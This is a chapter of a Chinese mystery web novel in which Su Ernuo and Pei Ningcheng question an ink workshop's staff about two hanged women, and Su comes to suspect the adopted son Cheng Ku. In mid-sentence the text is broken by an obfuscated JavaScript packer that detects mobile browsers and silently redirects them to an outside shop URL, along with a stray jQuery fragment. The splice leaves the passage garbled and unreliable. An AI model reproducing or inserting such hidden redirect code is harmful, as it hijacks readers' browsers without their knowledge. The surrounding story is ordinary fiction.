【宿主,宿主,您是要开启人物卡?】


    【对,程杰文。】


    【好咧,程杰文出自制墨世家徽州程氏,自幼顽劣,不学无术,又眼高于顶,对制墨并不精通,不过有经商天才,日后名落松山,却能得万贯家财。】


    【程枯呢?】


    【程枯,乃是程君集养子,程君集云游四方时捡到的流浪儿,因聪慧过人被收养,善山水画,雕刻,制墨皆精通,还写得一首好字,受程君集看中。】


    “没了?他以后呢?”


    苏尔诺皱眉还想再问,系统已经不知所踪。


    这个劳什子系统好似漏洞百出,有些人物根本没有,有些信息不全。


    程枯正对坊中事务娓娓道来,据他所说,制墨坊的匠人出去皆会被记录在案,日常有安排专门去铺子里送货的伙计。


    “十月初一那日,是何人去送的货?”裴宁澄思忖间问道。


    程枯立刻道:“容我去把当值簿拿来。”


    “快去,快去。”


    程杰文这时到催促起来,随即堆起笑脸和裴宁澄套近乎。


    裴宁澄这会只觉这个草包公子碍眼,倒是苏尔诺和他搭了几句话。


    “程公子日常不理庶务?”


    程杰文倒没不好意思,反而高高在上,“家父寄望于我能在学业上有所成,从徽州来后通州也是看中兴阳书院和夏侯山长的大名,夏侯山长答应我入读书院,本来我今日应该在书院听课的,无奈父亲刚走,我这放心不下墨坊……”


    “原来如此。”苏尔诺懒得拆穿他偷懒,“有子如此,程先生一定很欣慰。”


    “哪里,哪里。”


    “日常庶务都是程枯管?”


    程杰文冷哼:“现在是,若是官爷们等下发现墨坊有何问题,我饶不了他。”


    苏尔诺淡淡笑了下,那头游廊下已经闪出了程枯的影子。


    程枯依然是独行,步子迈得极大,手上捧着本黑色封皮的册子。


    他做事十分细心,将册子递上前来已经将十月初一那一页做好了标记。


    裴宁澄挑眉看了眼程枯,“平日都是谁分派匠人又是谁录入当值簿?”


    “是程管家,祥叔。”


    程枯顿了顿又道:“祥叔老人家,今日去了铺子巡查。”


    裴宁澄瞟了眼十月初一那一页,上面写着周广去铺面送货。


    翻开十月十五那一页,又是同一个名字周广。


    他将册子递与苏尔诺,两人眸中皆有光彩,想到一起去了。


    “周广现在何处?”


    “正在后院烧烟。”


    程枯说完很快就去后院叫来了周广。


    苏尔诺瞧见厅堂中间跪着个驼背老伯,就是周广。


    驼背老伯很瘦,跪在地上,头又低垂着,像个卷成一团的麻球,苏尔诺渐皱起眉头。


    这周广已经年近六十,断然不会有那么大力气。


    裴宁澄冷着声音问:“周广,十月初一,十五可是你去送货到铺子?”


    周广声音有些抖:“是的,是的,官爷。”


    “可有经过十字巷?”


    “经过的,那是出村的必经之路。”


    “那你可进去过明巧儿家中?”


    周广茫然地抬头:“谁……谁是明巧儿?”


    叶奎见此大声呵斥:“不要装糊涂,明巧儿便住在十字巷,还有柳雀,两家挨着,有人亲眼见到你十月初一那日进了明巧儿的家中。”


    周广被吓得不轻,枯瘦的手抖了抖,转而看向程枯:“二当家,这从何说起啊,我整日在墨坊就是做工,不认识旁的人啊。”


    程枯蹲下,温声对他说:“周叔,明巧儿和柳雀就是那两个自缢的女子,官爷过来查问,你有什么说什么就是,无需害怕。”


    周广骇然地张大嘴,结结巴巴地道:“我记不大清楚了,这么久……”


    “她们自缢和我有甚关系,我什么都不知道啊。”


    接着便响起老伯地磕头声。


    一下,两下……这老伯每一下都磕在青砖上,发出不小声响。


    裴宁澄扫了眼叶奎,周广才被人扶起来。


    他头上已经血肉模糊,像被人挖了个血窟窿。


    “哼,别做样子,想死没那么容易,我们进大牢里好好聊。”


    叶奎拽住周广就要将人带走。


    “官爷,且慢。”程枯快步拦在叶奎身前,霎时又面对堂上跪下,“大人,周叔年事已高,平日里勤恳良善,定不是作奸犯科之人,程枯不敢奢求多,只求大人不用酷刑,秉公办理。”


    “正是,正是。”程杰文笑着附和,又对程枯假斥,“裴大人是谁,大理寺少卿,断案如神,自然会秉公办理,还用你教,起来起来。”


    苏尔诺无声勾唇,这对程家兄弟有点意思。


    程杰文看着是个草包,对待程枯态度恶劣,也不尽然是。


    程枯嘛,行事沉稳有度,心思不外露,看不出真正所想。


    这墨坊看着是程杰文当家,实际应该是人人听程枯的。


    想到此,苏尔诺问程枯:“除了当值簿,可还有其他记录工匠行踪的方法?”


    “官爷的意思是?”程枯迟疑道。


    “墨坊工匠众多,你们可有记录他们何时上工,何时归家,外出是否会告假?”


    “这……我们倒没有,父亲历来对工匠宽待,不只是不约束他们,还每月多给银钱,匠人们都很感恩,一向都干的很好,没有矿工不上值的。”


    程枯依然跪着回话,态度恭敬。


    等裴宁澄开口让他起身,他才照做。


    嫌疑人周广已被带走,裴宁澄两人又令人打开了周广的住处查看一番。


    凶手不只是杀人,还会带走这些女子的遗物,按照常理凶手都会将这些遗物藏在某处,作为某种不可告人的用途。


    周广和另外两个工匠挤在一处住宿,翻开他的床铺并未发现异常。


    再询问那两位工匠,都说周广平日没有藏物的习惯,只喜欢存着银钱,且周广是从徽州跟着程君集北上的老人,家里人都在徽州,他平日的去处只有墨坊和市集。


    眼看着时辰不早了,裴宁澄一行人并未在墨坊久留,准备上山往兴阳书院而去。


    程杰书带着程枯一路送至大门口,殷勤备至。


    “大人好走,如若查案需要,我们墨坊定当全力配合。”


    裴宁澄淡淡点了点头,“先请回吧。”


    苏尔诺立在他身后,心底略有些失望,周广显然不是犯案之人,抓他回去不过是权宜之计。


    凶手是否真的藏在制墨坊。


    在她思忖之际,天边豁然响了个惊雷,雨点如竹筒倒豆子一般从天而降。


    “哟,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258142|148542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要下大雨了。”程杰文叹了句,“赶紧地,去给诸位官爷拿伞。”


    苏尔诺站在屋檐外,顷刻间半身都被雨点砸中,头发也湿了大半贴在脸上。


    她手忙脚乱地躲进檐下,竟和人撞到了一起。


    “对不住,官爷。”


    是正要给他们拿伞的程枯,身上带着股松木未燃尽的浓烟味。


    苏尔诺脑中的弦猝然断了,豁然抓起他的手盯着瞧。


    程枯的手掌很大,十指间还沾染着浓墨,依稀只见有层薄茧。


    “官爷,您怎么了?我这手上都是墨汁,不碍您的眼了。”程枯的手滑出去,侧身避过她往后堂去。


    苏尔诺怔然地追着程枯的身影。


    这人身长几乎和裴宁澄一般,他双手背在身后,步子迈得极大。


    等等,双手背在身后,若是他着的是黑色衣裳……


    柳雀在家中那间柴房举着风灯一照,进来的男子身形高大颀长,黑色衣裳,双手背在身后。


    那神态不知不觉在她眼前和程枯合二为一。


    她想的不寒而栗。


    “你冷?”


    她肩上忽地一沉,暖融融地狐裘披风覆到她肩头。


    苏尔诺眼眸却是一沉,“程枯在墨坊主要做什么?”


    程杰书慢条斯理地说:“打杂,凡是墨坊没人干的,他都得干。”


    “是么?我看下人们都叫他二当家。”


    “父亲看他年少无依,养着他,这些年跟着学手艺还算用心,他自然也要为墨坊尽心尽力,父亲不在,我又忙着温书,有些事就由着他了。”程杰书满不在乎,“不过每逢遇大事,他得听我的。”


    “我看程二当家也一表人才,可有娶亲?”


    程杰书像见了鬼似的,“他娶亲?谁嫁给他这个木头,整天泡在墨坊里。”


    “那倒是个好的。”


    “好什么,有时候半夜三更,说不见就不见人了。”


    豆大的雨滴已经变成了连绵不绝的暴雨,打在屋檐下霹雳巴拉,苏尔诺眸色愈深。


    她朝游廊望去,程枯拿着两把雨伞款步而来。


    “大人,这个时候上山怕是不好走吧?”程枯将伞递给裴宁澄。


    “山道虽平缓,马车是难上去的,只能下车步行。前几日的雪还没化去,这又下起雨来,怕是湿滑难当,你们定要小心才是。”


    裴宁澄接过伞,视线沉沉,“你也经常上山?”


    “兴阳山上多有品质好的松树,父亲正是看中这个才来此处开了墨坊,我时常也上山去砍松木。”


    “你可知道兴阳书院?”


    “自然知道,杰书便是在书院读书。”


    苏尔诺望了眼裴宁澄,他心领神会,问道:“这个月十月初一午间到晚上,你在何处?”


    “十月初一,我和杰书都上了书院,夏侯山长正式开始给他授课,父亲命我送去几块好墨给书院。”程枯神情自然,“夏侯山长留我在书院用了晚饭才下山。”


    “没错,当日我第一日上课,这小子心里嫉妒,也厚脸皮留在那听课。”


    这么说,程枯有完美的不在场证据。


    她的直觉出错了吗?


    柳雀临死的八秒,她只差看到那人的脸了。


    有哪里不对呢?


    苏尔诺皱眉又问:“十月十五日晚上,你又在何处?”